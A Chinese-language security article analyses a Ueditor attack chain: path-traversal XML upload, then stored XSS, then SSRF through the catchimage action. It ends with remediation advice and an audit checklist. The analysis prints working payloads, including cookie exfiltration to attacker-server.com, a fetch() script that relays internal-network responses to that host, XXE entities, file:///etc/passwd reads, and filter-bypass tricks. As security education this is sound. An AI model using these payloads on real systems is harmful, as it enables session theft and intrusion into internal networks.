Ueditor XML上传漏洞:从存储型XSS到SSRF的完整攻击链分析

📅 2026/7/25 23:12:35
Ueditor XML上传漏洞:从存储型XSS到SSRF的完整攻击链分析
1. 项目概述一次由编辑器漏洞引发的连锁攻击最近在复现和审计一些老牌Web应用时我又一次遇到了那个熟悉的名字——Ueditor。作为百度早期开源的一款富文本编辑器它曾经被广泛集成在各种CMS、OA系统和企业门户中。一个看似简单的“XML文件上传”功能在特定配置下却可能成为渗透测试中撕开防线、直捣黄龙的关键入口。这次我们不谈泛泛的原理而是聚焦于一个完整的攻击链如何从一个不起眼的XML上传点出发逐步利用最终实现从存储型XSS跨站脚本攻击到SSRF服务器端请求伪造的权限升级。这个过程充满了“如果”和“但是”也正是这些条件判断和路径拼接构成了实战渗透中最有意思的部分。无论你是正在学习Web安全的初学者还是想深化对漏洞链理解的安全从业者这个从前端到后端、从用户输入到服务器内部请求的完整路径都值得仔细拆解一遍。2. 漏洞背景与核心原理拆解2.1 Ueditor的XML上传机制解析要理解这个漏洞首先得弄清楚Ueditor在处理文件上传时的逻辑。Ueditor支持多种文件类型上传如图片、视频、附件等。其中为了处理某些需要结构化数据的上传请求例如涂鸦功能、截图上传它设计了一个用于接收Base64编码数据的controller.ashx或controller.php等处理器。关键点在于这个处理器为了兼容性有时会允许客户端通过POST参数指定上传文件的保存路径和文件格式。一个典型的、存在问题的请求可能如下所示POST /ueditor/net/controller.ashx?actionuploadfile HTTP/1.1 Content-Type: application/x-www-form-urlencoded upfile%3C%3Fxml%20version%3D%221.0%22%3F%3E...filenametest.xmlpath../../../upload/这里upfile参数包含了经过URL编码的XML内容filename参数指定了服务器保存的文件名而path参数则指示了保存目录。漏洞的根源就在于服务端代码在对path和filename参数进行拼接时未进行有效的规范化处理和目录穿越过滤。攻击者可以通过构造包含../序列的path值将文件写入到Web应用目录之外的任意可写位置或者覆盖掉已有的关键文件。注意并非所有版本的Ueditor或所有配置都存在此问题。漏洞的利用高度依赖于后端controller.ashx的具体实现代码。有些版本或经过安全修改的版本会对路径进行校验。因此在实战中信息收集的第一步就是尝试访问这个控制器地址并根据返回内容判断其版本和可能的行为。2.2 从任意文件上传到存储型XSS的跳跃单纯的上传一个XML文件可能意义不大除非这个文件能被Web服务器解析并执行。这就是存储型XSS登场的时候。我们的目标是将这个XML文件变成一个能在受害者浏览器中执行的HTML/JS文件。思路一直接上传HTML文件如果服务器对上传文件的后缀名过滤不严我们可以尝试直接将filename参数设置为test.html。但这种方式通常会被拦截因为上传逻辑里往往有允许上传的文件类型白名单imageAllowFiles,fileAllowFiles等.html和.js后缀一般不在其中。思路二利用文件解析特性或路径混淆这是更常见的利用方式。我们上传一个内容为XSS Payload的XML文件但通过路径穿越将其保存为.xml后缀。那么如何让浏览器以HTML方式解析它呢寻找解析差异有些Web服务器如老版本IIS、配置不当的Nginx/Apache可能存在文件解析漏洞。例如test.xml/.jpg可能被服务器端解析为test.xml但返回的Content-Type头却是image/jpeg不过这对执行JS帮助不大。更关键的是如果服务器将.xml文件的Content-Type设置为text/html或者浏览器主动将其当作HTML渲染XSS就可能触发。结合其他漏洞如果网站存在本地文件包含LFI漏洞我们可以通过包含这个上传的XML文件来执行其中的代码。或者如果存在一个功能点会读取并“渲染”这个XML文件的内容例如网站有一个展示“自定义配置文件”的页面那么嵌入在XML注释或特定标签中的JS代码就可能被执行。一个构造的恶意XML内容示例?xml version1.0? !DOCTYPE test [ !ENTITY x scriptalert(document.domain)/script ] root content这是一个看似正常的XML内容/content payloadx;/payload !-- img srcx onerroralert(1) -- /root在这个例子中我们使用了XML实体和注释来携带JS代码。当这个文件被某些不当解析器当作HTML处理时script标签或onerror事件就可能被激活。2.3 SSRF将触角伸向服务器内部存储型XSS的危害在于影响其他用户而SSRF则让我们能探测或攻击服务器本身的内网环境。如何从XSS跳转到SSRF这需要一个“跳板”。常见的跳板是“图片URL上传”功能。Ueditor通常有一个“远程图片抓取”功能对应actioncatchimage。这个功能的本意是当用户粘贴一个网络图片地址时编辑器会尝试将该图片下载到本地服务器以防外链失效。其请求大致如下POST /ueditor/net/controller.ashx?actioncatchimage HTTP/1.1 Content-Type: application/x-www-form-urlencoded source[]http://attacker.com/image.jpg服务器端的catchimage逻辑会使用一个HTTP客户端如.NET的WebClient、HttpWebRequest去请求source[]参数提供的URL并将图片内容下载回来。如果攻击者通过存储型XSS控制了一个管理员或高权限用户的浏览器就可以伪造一个请求让该用户的浏览器向这个catchimage接口发起POST请求并且source[]参数指向一个内网地址例如http://192.168.1.1:8080/admin或file:///etc/passwd如果协议允许。服务器在处理这个请求时就会从它自身的网络视角去访问这个内网资源从而实现SSRF。3. 完整渗透路径的实操推演下面我们模拟一个相对理想但完全可能存在的场景将上述步骤串联起来。3.1 第一步信息收集与漏洞探测定位Ueditor通过目录扫描如使用dirsearch、御剑等工具寻找/ueditor/、/ueditor/net/、/ueditor/php/等目录。访问ueditor/net/controller.ashx如果直接返回一个JSON内容包含{“state”: “请求地址出错”}或类似信息说明这个接口存在。探测上传动作尝试发送不同的action参数值。actionconfig通常会返回编辑器的配置JSON这里面包含了imageActionName图片上传动作名、imageAllowFiles允许的图片后缀、fileAllowFiles允许的文件后缀等关键信息。这是我们判断可利用性的重要依据。测试XML上传点发送一个测试性的XML上传请求观察响应。curl -X POST http://target.com/ueditor/net/controller.ashx?actionuploadfile \ -d upfile%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Ctest%3Ehello%3C%2Ftest%3Efilenametest.xmlpath./如果返回{state: SUCCESS, url: upload/test.xml, ...}说明上传功能正常。接下来就要测试路径穿越...path../../../filenametest.xml观察返回的url字段如果路径变成了../../../test.xml或者服务器错误地将其拼接到了Web根目录之外那么任意文件上传就可能存在。3.2 第二步实现存储型XSS植入假设我们通过探测发现path参数可控并且服务器对上传后的文件访问没有严格的Content-Type控制。构造恶意XML Payload我们不再使用简单的alert而是构造一个能悄悄发起请求的Payload为后续SSRF做准备。?xml version1.0 encodingUTF-8? !DOCTYPE x [ !ENTITY % payload SYSTEM http://attacker-server.com/ssrf-payload.xml %payload; ] xinternal;/x同时在攻击者控制的服务器attacker-server.com上放置ssrf-payload.xml文件内容为!ENTITY % data !ENTITY internal !--img srcx onerror\var inew Image;i.src\\http://attacker-server.com/log?cookie\\encodeURIComponent(document.cookie)\-- %data;这是一个XML外部实体XXE攻击的变种用于将一段HTML/JS注释嵌入到上传的XML中。当这个XML文件在某些上下文被当作HTML解析时注释中的img onerror就会执行将当前页面的cookie发送到攻击者服务器。上传并定位文件地址将上述组合Payload上传假设返回路径为http://target.com/upload/evil.xml。触发XSS我们需要让受害者通常是后台管理员访问这个evil.xml文件。如何做到等待被包含如果网站有功能会加载upload目录下的文件就可能自动触发。结合其他漏洞例如找到一个存在XSS的“文件预览”或“日志查看”功能将evil.xml的URL插入其中。社会工程这是更直接的方式。通过钓鱼邮件或站内信诱使管理员点击一个看似正常的链接指向这个evil.xml。由于是管理员会话其Cookie价值很高。3.3 第三步利用XSS会话发起SSRF攻击假设我们已经通过XSS获取了管理员Cookie或者XSS Payload直接在管理员浏览器中执行了。识别SSRF端点从之前获取的Ueditor配置中我们知道action可以有catchimage抓取远程图片。这就是我们的SSRF端点。构造内网探测请求通过XSS让受害者的浏览器向Ueditor接口发送一个AJAX请求。// 这是XSS Payload中执行的部分代码 var ssrfUrl http://target.com/ueditor/net/controller.ashx?actioncatchimage; var postData source[]http://192.168.1.1:8080/; fetch(ssrfUrl, { method: POST, headers: { Content-Type: application/x-www-form-urlencoded, }, credentials: include, // 携带Cookie body: postData }) .then(response response.text()) .then(data { // 将服务器响应即内网8080端口的响应发送回攻击者服务器 new Image().src http://attacker-server.com/ssrf_result?data encodeURIComponent(data); });这个请求会要求目标服务器去访问内网的192.168.1.1:8080。如果该内网服务存在并且返回了内容这些内容会被Ueditor的控制器处理可能尝试当作图片解析失败但最终的状态和部分响应信息会返回给前端。我们的XSS代码再将这些信息外带到攻击者服务器。扩大战果通过SSRF我们可以探测内网资产遍历常见的内部IP和端口绘制内网地图。攻击内网脆弱服务访问内网Redis、Memcached无认证情况下可能执行命令、Jenkins、Consul等管理界面或利用其漏洞。读取本地文件如果服务器支持file://协议取决于使用的HTTP客户端库可以尝试source[]file:///etc/passwd。4. 漏洞利用的难点与绕过技巧实录在实际测试中这条路很少是一帆风顺的。你会遇到各种限制和过滤。4.1 路径穿越过滤的绕过服务器端可能会过滤../。尝试绝对路径如果系统是Windows且你知道Web目录的绝对路径如C:\inetpub\wwwroot可以直接尝试pathC:\Windows\Temp\。URL编码与双重编码将../编码为%2e%2e%2f或..%2f。有些过滤逻辑在解码前检查可能被绕过。甚至尝试双重编码%252e%252e%252f第一次解码后变成%2e%2e%2f第二次解码变成../。使用非常规表示在Windows下..\、....\、..//等变体有时能奏效。4.2 文件内容与类型的绕过即使上传了XML如何让浏览器执行其中的脚本利用Content-Type嗅探如果服务器没有正确设置Content-Type: application/xml而是用了text/plain甚至默认类型现代浏览器可能会进行MIME类型嗅探。如果文件内容以html或script开头浏览器可能将其当作HTML解析。因此可以在XML文件开头就放置JS代码。结合SVGSVG本质上是XML。如果服务器允许上传.svg图片这很常见那么一个包含JS的SVG文件就是天然的XSS向量。尝试将filename改为test.svg。?xml version1.0 encodingUTF-8? svg xmlnshttp://www.w3.org/2000/svg onloadalert(1) /svg4.3 SSRF限制的绕过Ueditor的catchimage功能通常会有限制域名/IP白名单配置中可能有catcherLocalDomain只允许抓取指定域名下的图片。我们需要检查配置或者尝试用符号、CIDR表示法、域名重绑定等技术绕过。协议限制可能只允许http://和https://禁用file://、gopher://、dict://等危险协议。端口限制可能限制只能访问80、443等常见端口。绕过方法利用重定向让source[]指向一个攻击者控制的服务器该服务器返回一个302重定向Location头指向内网地址。有些HTTP客户端会跟随重定向从而访问内网。利用URL解析差异构造如http://foo192.168.1.1:8080或http://192.168.1.1:8080#attacker.com的URL某些解析库可能会错误地提取主机名。IPv6或特殊格式尝试http://[::1]:80/或http://0177.0.0.1/八进制IP等。5. 防御视角如何发现和修复此类问题作为防御方或开发者了解攻击路径后修复思路就非常清晰了。5.1 安全开发建议升级或替换组件立即升级到Ueditor官方的最新版本或考虑更换为维护更积极、安全性更高的富文本编辑器如CKEditor、Quill等。严格的文件上传处理路径固定化不要使用用户可控的参数如path来拼接文件保存路径。应采用预定义的、相对安全的目录结构。文件名白名单不仅检查后缀最好对上传的文件内容进行校验如图片文件头校验并强制重命名如使用UUID避免用户控制最终文件名。目录权限隔离上传目录应设置为不可执行脚本。在Nginx中可配置location ~* ^/upload/.*\.(php|jsp|aspx)$ { deny all; }。禁用危险功能如果业务不需要“远程图片抓取”功能应在Ueditor配置中彻底禁用catcherActionName设置为空或注释掉相关代码。安全的SSRF防护使用白名单如果必须使用抓取功能应严格限制可抓取的域名白名单。禁用危险协议在代码中显式禁用file、gopher、dict、ftp等协议。使用内网DNS解析确保服务器解析域名时内网IP不会解析到公网域名上防范DNS重绑定攻击。使用安全的HTTP客户端使用如UrlFetch会检查重定向目标、或显式设置HttpClient不跟随重定向。5.2 安全审计与排查清单如果你负责一个使用了Ueditor的老系统可以按此清单检查[ ] 定位所有controller.ashx、controller.php等文件的位置。[ ] 审查其代码检查path、filename等参数是否经过Path.GetFullPath.NET或realpathPHP等规范化处理并检查是否包含..。[ ] 检查catchimage动作的代码查看其对source[]参数的过滤逻辑。[ ] 查看Ueditor的配置文件config.json确认允许上传的文件后缀列表是否过宽是否禁用了不必要的action。[ ] 检查服务器上已上传目录是否存在可疑的.xml、.svg、.html文件。整个渗透路径从一个小小的上传参数开始像多米诺骨牌一样层层推进最终可能触及系统最核心的内网。这再次印证了安全是一个整体任何一环的疏忽都可能被放大。在实战中这种链式漏洞利用需要耐心、对系统行为的深刻理解以及一点点运气。而对于防御者而言思路同样清晰最小化攻击面、对用户输入保持绝对的不信任、以及为每一层操作都设置独立的检查和隔离。